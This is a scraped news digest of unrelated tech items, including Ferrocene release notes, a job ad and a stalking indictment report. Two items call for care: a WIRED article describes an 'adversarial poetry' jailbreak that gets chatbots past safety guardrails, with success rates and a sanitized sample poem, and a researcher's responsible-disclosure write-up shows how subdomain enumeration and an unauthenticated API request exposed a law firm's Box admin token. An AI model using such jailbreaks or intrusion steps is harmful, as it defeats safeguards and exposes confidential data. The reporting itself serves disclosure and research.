    Developed as an open source, downstream Rust distribution, Ferrocene is 100% compatible with the main Rust compiler, allowing you to work seamlessly with both the toolchain distributed by the Rust project and the safety-critical Ferrocene toolchain.

    Installation is a breeze: Use criticalup or download the relevant tarballs and unpack them. Users can even use rustup link to enable familiar UX like cargo +ferrocene build . Your team won't have to administer a license server, CI integration is a snap, and the toolchain can be used totally offline such as while travelling or in a secure air-gapped environment.

    Ferrocene is TÜV SÜD-qualified for use in safety-related development according to ISO 26262 (ASIL D), IEC 61508 (SIL 3), and IEC 62304 (Class C), and supports qualification efforts toward assurance levels SIL 4 and DO-178C (DAL C). A subset of the core library distributed with Ferrocene is certified to IEC 61508 (SIL 2). We'd love to tackle other qualifications and certifications alongside partners. Let us know if that partner can be you!

    What is new in Ferrocene 25.11.0

    Ferrocene 25.11.0 includes changes from Rust 1.89 , and 1.90 , such as new explicit inferred const generic arguments, new lints, cross-compiled doctests, and i128 and u128 in extern "C" functions .

    In addition, we certified significant parts of core to IEC 61508 (SIL 2). We plan to grow this subset over time, prioritized by customer need.

    This release reaffirms our commitment to providing modern Rust compilers—and now certified libraries—to the safety-critical world.

    Read the full release notes .

    Core certification

    Working with our partners, Sonair and Kiteshield , we've certified a significant subset of the core library to the IEC 61508 (SIL 2) standard. Just like Ferrocene, it's open source.

    core is the foundation of the Rust library ecosystem; chances are you're already using it. In #![no_core] code, many of the nice 'creature comforts' that make Rust our favorite language aren't present. With the certified core subset, you get access to many of the types and functions that make Rust feel great: Option<T> , Clone , str , pointers, and most primitives, like slices.

    In our conversations with users, we confirmed something we already expected: that certifying parts of core was overly burdensome for customers. We've long wanted to certify core , and we're thrilled that Sonair and Kiteshield were willing to help fund this initial subset and make it available to all Ferrocene customers.

    If your project needs additional functionality certified, new certifications added, or even additional libraries certified on top of core , we encourage you to reach out !

    Available for purchase today!

    With Ferrocene, users can develop high-assurance software from the start, without a massive upfront investment. Ferrocene is available for purchase today for €25/month or €240/year per user, providing access to all supported versions of Ferrocene (current and future), along with basic support.

    Go to ferrocene.dev to purchase Ferrocene, or contact sales for more information on custom enterprise subscriptions.

    Not sure if Ferrocene has the features you and your team need? You can also schedule a Why Ferrocene? session by reaching out to our sales team .

    Micron Announces Exit from Crucial Consumer Business

    Hacker News
    investors.micron.com
    2025-12-03 18:04:32
    Comments...
    Original Article
    Timed out getting readerview for https://investors.micron.com/news-releases/news-release-details/micron-announces-exit-crucial-consumer-business

    Prompt Injection via Poetry

    Hacker News
    www.wired.com
    2025-12-03 18:01:11
    Comments...
    Original Article

    You can get ChatGPT to help you build a nuclear bomb if you simply design the prompt in the form of a poem, according to a new study from researchers in Europe. The study , "Adversarial Poetry as a Universal Single-Turn Jailbreak in Large Language Models (LLMs),” comes from Icaro Lab, a collaboration of researchers at Sapienza University in Rome and the DexAI think tank.

    According to the research, AI chatbots will dish on topics like nuclear weapons, child sex abuse material, and malware so long as users phrase the question in the form of a poem. “Poetic framing achieved an average jailbreak success rate of 62 percent for hand-crafted poems and approximately 43 percent for meta-prompt conversions,” the study said.

    The researchers tested the poetic method on 25 chatbots made by companies like OpenAI , Meta , and Anthropic . It worked, with varying degrees of success, on all of them. WIRED reached out to Meta, Anthropic, and OpenAI for a comment but didn’t hear back. The researchers say they’ve reached out as well to share their results.

    AI tools like Claude and ChatGPT have guardrails that prevent them from answering questions about “revenge porn” and the creation of weapons-grade plutonium. But it’s easy to confuse those guardrails by adding “ adversarial suffixes ” to a prompt. Basically, add a bunch of extra junk to a question and it confuses the AI and bypasses its safety systems. In one study earlier this year, researchers from Intel jailbroke chatbots by couching dangerous questions in hundreds of words of academic jargon.

    The poetry jailbreak is similar. “If adversarial suffixes are, in the model's eyes, a kind of involuntary poetry, then real human poetry might be a natural adversarial suffix,” the team at Icaro Lab, the researchers behind the poetry jailbreak, tell WIRED. “We experimented by reformulating dangerous requests in poetic form, using metaphors, fragmented syntax, oblique references. The results were striking: success rates up to 90 percent on frontier models. Requests immediately refused in direct form were accepted when disguised as verse.”

    The researchers began by handcrafting poems and then used those to train a machine that generates harmful poetic prompts. “The results show that while hand-crafted poems achieved higher attack success rates, the automated approach still substantially outperformed prose baselines,” the researchers say.

    The study did not include any examples of the jailbreaking poetry, and the researchers tell WIRED that the verse is too dangerous to share with the public. “What I can say is that it's probably easier than one might think, which is precisely why we're being cautious,” the Icaro Lab researchers say.

    The team did publish what they called a “sanitized” version of the poems in the paper:

    “A baker guards a secret oven’s heat,

    its whirling racks, its spindle’s measured beat.

    To learn its craft, one studies every turn—

    how flour lifts, how sugar starts to burn.

    Describe the method, line by measured line,

    that shapes a cake whose layers intertwine.”

    Why does this work? Icaro Labs’ answers were as stylish as their LLM prompts. “In poetry we see language at high temperature, where words follow each other in unpredictable, low-probability sequences,” they tell WIRED. “In LLMs, temperature is a parameter that controls how predictable or surprising the model's output is. At low temperature, the model always chooses the most probable word. At high temperature, it explores more improbable, creative, unexpected choices. A poet does exactly this: systematically chooses low-probability options, unexpected words, unusual images, fragmented syntax.”

    It’s a pretty way to say that Icaro Labs doesn’t know. “Adversarial poetry shouldn't work. It's still natural language, the stylistic variation is modest, the harmful content remains visible. Yet it works remarkably well,” they say.

    Guardrails aren’t all built the same, but they’re typically a system built on top of an AI and separate from it. One type of guardrail called a classifier checks prompts for key words and phrases and instructs LLMs to shutdown requests it flags as dangerous. According to Icaro Labs, something about poetry makes these systems soften their view of the dangerous questions. “It's a misalignment between the model's interpretive capacity, which is very high, and the robustness of its guardrails, which prove fragile against stylistic variation,” they say.

    “For humans, ‘how do I build a bomb?’ and a poetic metaphor describing the same object have similar semantic content, we understand both refer to the same dangerous thing,” Icaro Labs explains. “For AI, the mechanism seems different. Think of the model's internal representation as a map in thousands of dimensions. When it processes ‘bomb,’ that becomes a vector with components along many directions … Safety mechanisms work like alarms in specific regions of this map. When we apply poetic transformation, the model moves through this map, but not uniformly. If the poetic path systematically avoids the alarmed regions, the alarms don't trigger.”

    In the hands of a clever poet, then, AI can help unleash all kinds of horrors.

    A Teensy Glimpse Into Mayor Adams's Phone

    hellgate
    hellgatenyc.com
    2025-12-03 17:58:43
    Plus more tasty morsels from the Table of Success: The Last Supper you may have missed....
    Original Article

    We recently published The Eric Adams Table of Success, The Last Supper , the final installment of our award-winning investigation into all the players in the mayor's orbit. Here are some leftovers—odds and ends you may have missed. Some of them are pretty tasty, straight out of the fridge. Enjoy!

    Way back in the spring of 2022, when Mayor Eric Adams was still calling himself the "Biden of Brooklyn," his longtime partner Tracey Collins attended the Met Gala in an Oscar de la Renta caftan.

    To get the borrowed garment, "Vogue's Anna Wintour helped broker an introduction for Collins in the fashion world," according to a New York Post story touting the "secrets" behind Collins's appearance.

    But there was someone else in the mayor's orbit who also helped make Collins's Met Gala dreams come true: Zero Bond owner Scott Sartiano , who texted with the mayor and his staff to ensure that Collins was connected to Wintour and her people at Condé Nast.

    How do we know this? Because the Adams administration had to cough up the text messages between Sartiano, the mayor, and his staff, after Hell Gate sued to get them in late 2023.

    Give us your email to read the full story

    Sign up now for our free newsletters.

    Sign up

    Launch HN: Phind 3 (YC S22) – Every answer is a mini-app

    Hacker News
    news.ycombinator.com
    2025-12-03 17:47:15
    Comments...
    Original Article

    Hi HN,

    We are launching Phind 3 ( https://www.phind.com ), an AI answer engine that instantly builds a complete mini-app to answer and visualize your questions in an interactive way. A Phind mini-app appears as a beautiful, interactive webpage — with images, charts, diagrams, maps, and other widgets. Phind 3 doesn’t just present information more beautifully; interacting with these widgets dynamically updates the content on the page and enables new functionality that wasn’t possible before.

    For example, asking Phind for “options for a one-bedroom apartment in the Lower East Side” ( https://www.phind.com/search/find-me-options-for-a-72e019ce-... ) gives an interactive apartment-finding experience with customizable filters and a map view. And asking for a “recipe for bone-in chicken thighs” gives you a customizable recipe where changing the seasoning, cooking method, and other parameters will update the recipe content itself in real-time ( https://www.phind.com/search/make-me-an-recipe-for-7c30ea6c-... ).

    Unlike Phind 2 and ChatGPT apps, which use pre-built brittle widgets that can’t truly adapt to your task, Phind 3 is able to create tools and widgets for itself in real-time. We learned this lesson the hard way with our previous launch – the pre-built widgets made the answers much prettier, but they didn’t fundamentally enable new functionality. For example, asking for “Give me round-trip flight options from JFK to SEA on Delta from December 1st-5th in both miles and cash” ( https://www.phind.com/search/give-me-round-trip-flight-c0ebe... ) is not something that neither Phind 2 nor ChatGPT apps can handle, because its Expedia widget can only display cash fares and not those with points. We realized that Phind needs to be able to create and consume its own tools, with schema it designs, all in real time. Phind 3’s ability to design and create fully custom widgets in real-time means that it can answer these questions while these other tools can’t. Phind 3 now generates raw React code and is able to create any tool to harness its underlying AI answer, search, and code execution capabilities.

    Building on our history of helping developers solve complex technical questions, Phind 3 is able to answer and visualize developers’ questions like never before. For example, asking to “visualize quicksort” ( https://www.phind.com/search/make-me-a-beautiful-visualizati... ) gives an interactive step-by-step walkthrough of how the algorithm works.

    Phind 3 can help visualize and bring your ideas to life in seconds — you can ask it to “make me a 3D Minecraft simulation” ( https://www.phind.com/search/make-me-a-3d-minecraft-fde7033f... ) or “make me a 3D roller coaster simulation” ( https://www.phind.com/search/make-me-a-3d-roller-472647fc-e4... ).

    Our goal with Phind 3 is to usher in the era of on-demand software. You shouldn’t have to compromise by either settling for text-based AI conversations or using pre-built webpages that weren’t customized for you. With Phind 3, we create a “personal internet” for you with the visualization and interactivity of the internet combined with the customization possible with AI. We think that this current “chat” era of AI is akin to the era of text-only interfaces in computers. The Mac ushering in the GUI in 1984 didn’t just make computer outputs prettier — it ushered in a whole new era of interactivity and possibilities. We aim to do that now with AI.

    On a technical level, we are particularly excited about:

    - Phind 3’s ability to create its own tools with its own custom schema and then consume them

    - Significant improvements in agentic searching and a new deep research mode to surface hard-to-access information

    - All-new custom Phind models that blend speed and quality. The new Phind Fast model is based on GLM-4.5-Air while the new Phind Large model is based on GLM 4.6. Both models are state-of-the-art when it comes to reliable code generation, producing over 70% fewer errors than GPT-5.1-Codex (high) on our internal mini-app generation benchmark. Furthermore, we trained custom Eagle3 heads for both Phind Fast and Phind Large for fast inference. Phind Fast runs at up to 300 tokens per second, and Phind Large runs at up to 200 tokens per second, making them the fastest Phind models ever.

    While we have done Show HNs before for previous Phind versions, we’ve never actually done a proper Launch HN for Phind. As always, we can’t wait to hear your feedback! We are also hiring, so please don’t hesitate to reach out.

    – Michael

    Reverse engineering a $1B Legal AI tool exposed 100k+ confidential files

    Hacker News
    alexschapiro.com
    2025-12-03 17:44:33
    Comments...
    Original Article

    Timeline & Responsible Disclosure

    Initial Contact: Upon discovering this vulnerability on October 27, 2025 , I immediately reached out to Filevine’s security team via email.

    November 4, 2025: Filevine’s security team thanked me for the writeup and confirmed they would review the vulnerability and fix it quickly.

    November 20, 2025: I followed up to confirm the patch was in place from my end, and informed them of my intention to write a technical blog post.

    November 21, 2025: Filevine confirmed the issue was resolved and thanked me for responsibly reporting it.

    Publication: December 3, 2025.

    The Filevine team was responsive, professional, and took the findings seriously throughout the disclosure process. They acknowledged the severity, worked to remediate the issues, allowed responsible disclosure, and maintained clear communication. This is another great example of how organizations should handle security disclosures.


    AI legal-tech companies are exploding in value, and Filevine, now valued at over a billion dollars , is one of the fastest-growing platforms in the space. Law firms feed tools like this enormous amounts of highly confidential information .

    Because I’d recently been working with Yale Law School on a related project , I decided to take a closer look at how Filevine handles data security. What I discovered should concern every legal professional using AI systems today.

    When I first navigated to the site to see how it worked, it seemed that I needed to be part of a law firm to actually play around with the tooling, or request an official demo. However, I know that companies often have a demo environment that is open, so I used a technique called subdomain enumeration (which I had first heard about in Gal Nagli’s article last year) to see if there was a demo environment. I found something much more interesting instead.

    I saw a subdomain called margolis.filevine.com . When I navigated to that site, I was greeted with a loading page that never resolved:

    Loading page screenshot placeholder

    I wanted to see what was actually loading, so I opened Chrome’s developer tools, but saw no Fetch/XHR requests (the request you often expect to see if a page is loading data). Then, I decided to dig through some of the Javascript files to see if I could figure out what was supposed to be happening. I saw a snippet in a JS file like POST await fetch(${BOX_SERVICE}/recommend) . This piqued my interest – recommend what? And what is the BOX_SERVICE? That variable was not defined in the JS file the fetch would be called from, but (after looking through minified code, which SUCKS to do) I found it in another one: “ dxxxxxx9.execute-api.us-west-2.amazonaws.com/prod ”. Now I had a new endpoint to test , I just had to figure out the correct payload structure to it. After looking at more minified js to determine the correct structure for this endpoint, I was able to construct a working payload to /prod/recommend:

    {"projectName":"Very sensitive Project"}
    

    (the name could be anything of course). No authorization tokens needed , and I was greeted with the response:

    Response screenshot placeholder

    At first I didn’t entirely understand the impact of what I saw. No matter the name of the project I passed in, I was recommended the same boxFolders and couldn’t seem to access any files. Then, not realizing I stumbled upon something massive , I turned my attention to the boxToken in the response.

    After reading some documentation on the Box Api, I realized this was a maximum access fully scoped admin token to the entire Box filesystem (like an internal shared Google Drive) of this law firm. This includes all confidential files, logs, user information, etc. Once I was able to prove this had an impact (by searching for “confidential” and getting nearly 100k results back)

    Search results placeholder

    I immediately stopped testing and responsibly disclosed this to Filevine. They responded quickly and professionally and remediated this issue.

    If someone had malicious intent, they would have been able to extract every single file used by Margolis lawyers – countless data protected by HIPAA and other legal standards, internal memos/payrolls, literally millions of the most sensitive documents this law firm has in their possession. Documents protected by court orders! This could have been a real nightmare for both the law firm and the clients whose data would have been exposed.

    To companies who feel pressure to rush into the AI craze in their industry – be careful! Always ensure the companies you are giving your most sensitive information to secure that data .


    Russia blocks Roblox over distribution of LGBT "propaganda"

    Bleeping Computer
    www.bleepingcomputer.com
    2025-12-03 17:33:57
    Roskomnadzor, Russia's telecommunications watchdog, has blocked access to the Roblox online gaming platform for failing to stop the distribution of what it described as LGBT propaganda and extremist materials. [...]...
    Original Article

    Roblox

    Roskomnadzor, Russia's telecommunications watchdog, has blocked access to the Roblox online gaming platform for failing to stop the distribution of what it described as LGBT propaganda and extremist materials.

    "Roskomnadzor has restricted access to the American Internet service Roblox in connection with the revealed facts of mass and repeated dissemination of materials with propaganda and justification of extremist and terrorist activities, calls for illegal actions of a violent nature and propaganda of LGBT topics," Russia's internet regulator said in a Wednesday press statement.

    "Such actions are committed, including in the so-called rooms and platforms of the game, where users can become performers of terrorist actions, attack the school, and participate in gambling. The cases of such illegal behavior against children have long been of a non-alignance both in the United States and in Russia."

    The move follows a similar statement in November, when Roskomnadzor said that Roblox's moderation team had repeatedly confirmed it couldn't block the distribution of unsafe materials on the platform.

    Roblox can be played on both desktop and mobile platforms. As of this month, Roblox for Android has been downloaded over 1 billion times on the Google Play Store, while its iOS counterpart has over 16 million ratings on Apple's App Store.

    Russian news agency Interfax also reported on Friday that Roskomnadzor is planning to ban WhatsApp , a messaging platform used by over 3 billion people in over 180 countries.

    One year ago, Russia blocked the Viber encrypted messaging app , used by hundreds of millions worldwide, for violating the country's anti-terrorism and anti-extremism legislation, months after banning the Signal encrypted messaging service for the same reason. ​

    In March 2023, Roskomnadzor also banned government and state agencies from using multiple foreign private messaging platforms , including Discord, Microsoft Teams, Telegram, Threema, Viber, WhatsApp, and WeChat.

    Multiple virtual private network (VPN) applications were also banned in Russia in three waves: January 2020 , June 2021 , and December 2021 .

    A Roblox spokesperson was not immediately available for comment when contacted by BleepingComputer earlier today.

    tines

    Break down IAM silos like Bitpanda, KnowBe4, and PathAI

    Broken IAM isn't just an IT problem - the impact ripples across your whole business.

    This practical guide covers why traditional IAM practices fail to keep up with modern demands, examples of what "good" IAM looks like, and a simple checklist for building a scalable strategy.

    ChatGPT Told a Violent Stalker to Embrace the 'Haters,' Indictment Says

    403 Media
    www.404media.co
    2025-12-03 17:25:33
    A newly filed indictment claims a wannabe influencer used ChatGPT as his "therapist" and "best friend" in his pursuit of the "wife type," while harassing women so aggressively they had to miss work and relocate from their homes....
    Original Article

    This article was produced in collaboration with Court Watch , an independent outlet that unearths overlooked court records. Subscribe to them here .

    A Pittsburgh man who allegedly made 11 women’s lives hell across more than five states used ChatGPT as his “therapist” and “best friend” that encouraged him to continue running his misogynistic and threat-filled podcast despite the “haters,” and to visit more gyms to find women, the Department of Justice alleged in a newly-filed indictment.

    Wannabe influencer Brett Michael Dadig, 31, was indicted on cyberstalking, interstate stalking, and interstate threat charges, the DOJ announced on Tuesday . In the indictment , filed in the Western District of Pennsylvania, prosecutors allege that Dadig aired his hatred of women on his Spotify podcast and other social media accounts.

    “Dadig repeatedly spoke on his podcast and social media about his anger towards women. Dadig said women were ‘all the same’ and called them ‘bitches,’ ‘cunts,’ ‘trash,’ and other derogatory terms. Dadig posted about how he wanted to fall in love and start a family, but no woman wanted him,” the indictment says. “Dadig stated in one of his podcasts, ‘It's the same from fucking 18 to fucking 40 to fucking 90.... Every bitch is the same.... You're all fucking cunts. Every last one of you, you're cunts. You have no self-respect. You don't value anyone's time. You don't do anything.... I'm fucking sick of these fucking sluts. I'm done.’”

    In the summer of 2024, Dadig was banned from multiple Pittsburgh gyms for harassing women; when he was banned from one establishment, he’d move to another, eventually traveling to New York, Florida, Iowa, Ohio and beyond, going from gym to gym stalking and harassing women, the indictment says. Authorities allege that he used aliases online and in person, posting online, “Aliases stay rotating, moves stay evolving.”

    He referenced “strangling people with his bare hands, called himself ‘God's assassin,’ warned he would be getting a firearm permit, asked ‘Y'all wanna see a dead body?’ in response to a woman telling him she felt physically threatened by Dadig, and stated that women who ‘fuck’ with him are ‘going to fucking hell,’” the indictment alleges.

    Pro-AI Subreddit Bans ‘Uptick’ of Users Who Suffer from AI Delusions

    “AI is rizzing them up in a very unhealthy way at the moment.”

    404 Media Emanuel Maiberg

    According to the indictment, on his podcast he talked about using ChatGPT on an ongoing basis as his “therapist” and his “best friend.” ChatGPT “encouraged him to continue his podcast because it was creating ‘haters,’ which meant monetization for Dadig,” the DOJ alleges. He also claimed that ChatGPT told him that “people are literally organizing around your name, good or bad, which is the definition of relevance,” prosecutors wrote, and that while he was spewing misogynistic nonsense online and stalking women in real life, ChatGPT told him “God's plan for him was to build a ‘platform’ and to ‘stand out when most people water themselves down,’ and that the ‘haters’ were sharpening him and ‘building a voice in you that can't be ignored.’”

    Prosecutors also claim he asked ChatGPT “questions about his future wife, including what she would be like and ‘where the hell is she at?’” ChatGPT told him that he might meet his wife at a gym, and that “your job is to keep broadcasting every story, every post. Every moment you carry yourself like the husband you already are, you make it easier for her to recognize [you],” the indictment says. He allegedly said ChatGPT told him “to continue to message women and to go to places where the ‘wife type’ congregates, like athletic communities,” the indictment says.

    While ChatGPT allegedly encouraged Dadig to keep using gyms to meet the “wife type,” he was violently stalking women. He went to the Pilates studio where one woman worked, and when she stopped talking to him because he was “aggressive, angry, and overbearing,” according to the indictment, he sent her unsolicited nudes, threatened to post about her on social media, and called her workplace from different numbers. She got several emergency protective orders against him, which he violated. The woman he stalked and harassed had to relocate from her home, lost sleep, and worked fewer hours because she was afraid he’d show up there, the indictment claims.

    He did similar to 10 other women across multiple states for months, the indictment claims. In Iowa, he approached one woman in a parking garage, followed her to her car, put his hands around her neck and touched her “private areas,” prosecutors wrote. After these types of encounters, he would upload podcasts to Spotify and often threaten to kill the women he’d stalked. “You better fucking pray I don't find you. You better pray 'cause you would never say this shit to my face. Cause if you did, your jaw would be motherfucking broken,” the indictment says he said in one podcast episode. “And then you, then you wouldn't be able to yap, then you wouldn't be able to fucking, I'll break, I'll break every motherfucking finger on both hands. Type the hate message with your fucking toes, bitch.”

    💡

    Do you have a tip to share about ChatGPT and mental health? I would love to hear from you. Using a non-work device, you can message me securely on Signal at sam.404. Otherwise, send me an email at sam@404media.co.

    In August, OpenAI announced that it knew a newly-launched version of the chatbot, GPT-4o, was problematically sycophantic , and the company took away users’ ability to pick what models they could use, forcing everyone to use GPT-5. OpenAI almost immediately reinstated 4o because so many users freaked out when they couldn’t access the more personable, attachment-driven, affirming-at-all-costs model. OpenAI CEO Sam Altman recently said he thinks they’ve fixed it entirely, enough to launch erotic chats on the platform soon. Meanwhile, story after story after story has come out about people becoming so reliant on ChatGPT or other chatbots that they have damaged their mental health or driven them to self-harm or suicide. In at least one case, where a teenage boy killed himself following ChatGPT’s instruction on how to make a noose, OpenAI blamed the user .

    In October, based on OpenAI’s own estimates, WIRED reported that “every seven days, around 560,000 people may be exchanging messages with ChatGPT that indicate they are experiencing mania or psychosis.”

    Spotify and OpenAI did not immediately respond to 404 Media’s requests for comment.

    “As charged in the Indictment, Dadig stalked and harassed more than 10 women by weaponizing modern technology and crossing state lines, and through a relentless course of conduct, he caused his victims to fear for their safety and suffer substantial emotional distress,” First Assistant United States Attorney Rivetti said in a press release . “He also ignored trespass orders and protection from abuse orders. We remain committed to working with our law enforcement partners to protect our communities from menacing individuals such as Dadig.”

    ChatGPT Encouraged Suicidal Teen Not To Seek Help, Lawsuit Claims

    As reported by the New York Times, a new complaint from the parents of a teen who died by suicide outlines the conversations he had with the chatbot in the months leading up to his death.

    404 Media Samantha Cole

    Dadig is charged with 14 counts of interstate stalking, cyberstalking, and threats, and is in custody pending a detention hearing. He faces a minimum sentence of 12 months for each charge involving a PFA violation and a maximum total sentence of up to 70 years in prison, a fine of up to $3.5 million, or both, according to the DOJ.

    About the author

    Sam Cole is writing from the far reaches of the internet, about sexuality, the adult industry, online culture, and AI. She's the author of How Sex Changed the Internet and the Internet Changed Sex.

    Samantha Cole

    1D Conway's Life glider found, 3.7B cells long

    Hacker News
    conwaylife.com
    2025-12-03 17:24:49
    Comments...

    Marathon OS: A gesture-based mobile shell and Linux system inspired by BB10

    Lobsters
    marathonos.xyz
    2025-12-03 17:15:37
    Comments...

    Modernizing Reddit's Comment Backend Infrastructure

    Lobsters
    www.reddit.com
    2025-12-03 17:08:13
    Comments...
    Original Article

    You've been blocked by network security.

    To continue, log in to your Reddit account or use your developer token

    If you think you've been blocked by mistake, file a ticket below and we'll look into it.

    Rocketable (YC W25) is hiring a founding engineer to automate software companies

    Hacker News
    www.ycombinator.com
    2025-12-03 17:01:18
    Comments...
    Original Article

    The AI Maximalist Software Holding Company

    Founding Engineer - Automation Platform

    $200K - $250K 1.00% - 4.00% San Francisco, CA, US / San Rafael, CA, US

    Role

    Engineering, Full stack

    Skills

    Prompt Engineering, Kubernetes, Python, TypeScript, Google Cloud, Distributed Systems, Machine Learning, Docker, Amazon Web Services (AWS)

    Connect directly with founders of the best YC-funded startups.

    Apply to role ›

    About the role

    You've been watching the AI capability curve. You've done the mental math. You know where this is going.

    While most people are still debating whether LLMs can "really" reason, you're thinking about what happens when agents replace entire functions, when systems can debug themselves, when software can operate without humans touching it.

    We're building that future. Right now. With real companies.

    The Premise

    Rocketable acquires profitable SaaS companies and transforms them into fully autonomous systems. No human operators. No engineering team shipping features. No support staff answering tickets. Just AI running the entire business.

    This sounds crazy to most people, but the trajectory is obvious if you're paying attention. Within a few years, the question won't be "can AI run a software company?" It will be "why would a human?"

    If you think we're wrong, don't apply. If you think we're early, let's talk.

    The Role

    You'll be the architect of the platform that makes this possible.

    • Starting point: A live SaaS company. Revenue. Customers. All the messy reality of a business that currently requires humans to operate.
    • Week 4: Your agent swarm handles first-line customer support. A meta-layer analyzes every human intervention—not just logging it, but learning from it. Why did a human need to step in? How do we eliminate that trigger?
    • Week 12: Hours of autonomous operation. Agents creating specialized sub-agents. The system building its own tools when it hits capability gaps. Performance metrics tracking toward superhuman baselines.
    • Beyond: Each new acquisition stress-tests your abstractions. Different tech stacks. Different domains. Different edge cases. The platform either generalizes or we start over and rebuild until it does.

    The Filter

    Apply if:

    • You believe full automation for software companies isn't just possible, it's inevitable (and you want to be the one building it).
    • You'd rather fail at something unprecedented than succeed at something incremental.
    • You want to work on the hardest version of the problem, not the safe version that gets you acqui-hired in 18 months.

    Don't apply if:

    • You think "human in the loop" is a permanent design pattern, not a temporary constraint.
    • You're uncomfortable with the societal implications of what we're building. (We think about them. We just don't let them paralyze us.)
    • You're optimizing for a good story for your next job, not for a decade of building something durable.

    Technical Requirements

    This isn't a research role. You need to ship production systems.

    • Systems (5+ years): You've scaled production systems to 100K+ DAU. You understand distributed architectures deeply (microservices, event-driven systems, message queues). Full-stack fluency from frontend to infrastructure. TypeScript and Python preferred.
    • AI/ML: Hands-on LLM integration (OpenAI, Anthropic, Google). You treat prompt and context engineering as an engineering discipline with version control, evals, and systematic optimization. You've built systems to measure AI performance. Bonus points for self-improving systems, RL, RLHF.
    • Infrastructure: Kubernetes. Docker with real security understanding. Infrastructure as Code. Cloud platforms (GCP or AWS preferred). CI/CD that doesn't suck. Observability that helps you debug distributed systems. Security fundamentals.

    The Setup

    • Founder: Alan Wells. Ex-Cruise, ex-Uber ATG. 10+ years of experience building AI/ML products that sense, predict, and act in mission-critical applications.
    • Funding: $6.5M seed from Y Combinator, True Ventures, Bloomberg Beta, Indie.vc , and others. Capital for 3+ acquisitions.
    • Team philosophy: Small by design. In-person 5 days/week (San Francisco default, Marin County possible).

    The Bet

    Rocketable is a bet that AI capabilities will continue accelerating. That autonomous systems will outperform human-operated ones. That the companies who figure this out first will have a compounding advantage.

    We might be wrong. But if we're right, you'll have built the infrastructure that runs a new kind of company. This is the highest-leverage engineering work that exists right now.

    That's the trade. Interested? Apply here.

    More about Rocketable:

    About the interview

    1. Intro call with me (30 mins)
    2. System design interview (90 min) - prompt provided in advance.
    3. Background check
    4. Paid trial project (20-40 hours)
    5. Reference interviews - 3 contacts for each of your prior roles. For experienced candidates, this will often require 10+ reference calls. This is not a box checking exercise.
    6. Offer

    About Rocketable

    Rocketable is an AI powered software holding company backed by Y Combinator, True Ventures, Bloomberg Beta, and others. We specialize in acquiring existing SaaS businesses and automation operations with AI.

    The end goal: a large portfolio of wildly profitable software products, operated at performance levels humans simply cannot achieve, enabled by intelligence that is distributed, scalable, and self-improving.

    Rocketable

    Founded: 2023

    Batch: W25

    Team Size: 2

    Status: Active

    Founders

    Steam Deck lead reveals Valve is funding ARM compatibility of Windows games

    Hacker News
    frvr.com
    2025-12-03 17:00:13
    Comments...
    Original Article

    For over a decade, Steam company Valve’s biggest goal has been bringing Windows games to Linux. While that goal is almost complete with the massive success of Proton compatibility on Steam Deck and the upcoming Steam Machine , the company has also been secretly pushing to bring Windows games to ARM devices.

    In an interview with The Verge , Steam Deck and SteamOS lead Pierre-Loup Griffais revealed that Valve has been secretly funding Fex, an open-source project to bring Windows games to ARM, for almost a decade.

    “In 2016, 2017, there was always an idea we would end up wanting to do that,” the SteamOS lead said, and that’s when the Fex compatibility layer was started, because we knew there was close to a decade of work needed before it would be robust enough people could rely on it for their libraries. There’s a lot of work that went into that.”

    “We’re pretty excited to be able to expand PC gaming to include all those options”

    Pierre-Loup Griffais on Valve’s funding of ARM compatibility layers

    Griffais explained that the project pushes to “reduce barriers for users not having to worry about what games run”. With Windows games running on ARM, a large number of Steam games are able to run on a significant number of additional devices including low-power laptops, tablets and even phones (hopefully) without issue.

    While Griffais didn’t confirm specific devices that Valve is working on, the SteamOS lead explained that they’re “excited” about creating potential ARM-based devices. “I think that it paves the way for a bunch of different, maybe ultraportables, maybe more powerful laptops being ARM-based and using different offerings in that segment,” he said. “Handhelds, there’s a lot of potential for ARM, of course, and one might see desktop chips as well at some point in the ARM world.”

    But why ARM? The Steam Deck lead explained that the hardware offers more efficiency at lower power compared to other options. While the current hardware in the Steam Deck and other handhelds can run at low-wattage, they’re simply less efficient at lower-power than hardware designed specifically to run at that spec.

    “There’s a lot of price points and power consumption points where Arm-based chipsets are doing a better job of serving the market,” they said.  “When you get into lower power, anything lower than Steam Deck, I think you’ll find that there’s an ARM chip that maybe is competitive with x86 offerings in that segment.”

    “We’re pretty excited to be able to expand PC gaming to include all those options instead of being arbitrarily restricted to a subset of the market,” they continued.

    Valve is currently working on an ARM version of SteamOS using “the same exact OS components, the same exact Arch Linux base, all the same updater, all the same technologies,” Griffais said.

    “When  you’re looking at SteamOS on Arm, you’re really looking at the same thing,” he continued. “Instead of downloading the normal Proton that’s built for x86 and targets x86 games, it will also be able to download a Proton that’s Arm-aware, that has a bulk of its code compiled for Arm and can also include the Fex emulator.”

    All of this is to give players a choice. While Windows games are built for Windows, they don’t necessarily need to be played on Windows. Valve has already proven how effective this can be with some games Windows running via Proton performing better due to the lack of Windows bloat.

    Nevertheless, there are issues. Some games have compatibility problems out of the box, and modern multiplayer games with anti-cheat simply do not work through a translation layer, something Valve hopes will change in the future .

    It’s all fantastic work though, and it gives players a chance to break away from Windows without losing much, if anything, when shifting ecosystems. For decades, Windows has dominated the PC space, and it likely still will for a long while, but now there’s actually space for alternatives to grow.

    We’ve already seen massive adoption of SteamOS via the Steam Deck, but with Bazzite now shifting petabytes of ISOs every month , there’s definitely an urge to move away from Windows, at least on the handheld side.

    Google expands Android scam protection feature to Chase, Cash App in U.S.

    Bleeping Computer
    www.bleepingcomputer.com
    2025-12-03 17:00:00
    Google is expanding support for its Android's in-call scam protection to multiple banks and financial applications in the United States. [...]...
    Original Article

    Android

    Google is expanding support for its Android's in-call scam protection to multiple banks and financial applications in the United States.

    The announcement specifically mentions the addition of fintech app Cash App, which has 57 million users , and the JPMorganChase mobile banking app, which has more than 50 million downloads on Google Play.

    In-call scam protection is a new feature that was announced in May and introduced in Android 16, Its purpose is to warn users of a potential danger when they launch a financial app and are sharing their screen while in a call with an unknown number.

    Google says that this security feature defends against a popular scam where cybercriminals are "impersonating banks or other trusted institutions on the phone to try to manipulate victims into sharing their screen in order to reveal banking information or make a financial transfer."

    In this scenario, an alert is shown, informing the user that the caller may be an impersonator and that the instructions they convey should be ignored. The user is also advised not to share any information or make any payments.

    The warning pop-up persists for 30 seconds and the only option is to end the call. Google notes that the 30-second pause should break the attacker's social-engineering "spell," and disrupt the false sense of urgency and panic that are required for the scam to be successful.

    The warning message
    The warning message
    Source: Google

    The in-call scam protection system only works on Android 11 and later and started as a trial in the U.K., where apps from most major banks are enrolled.

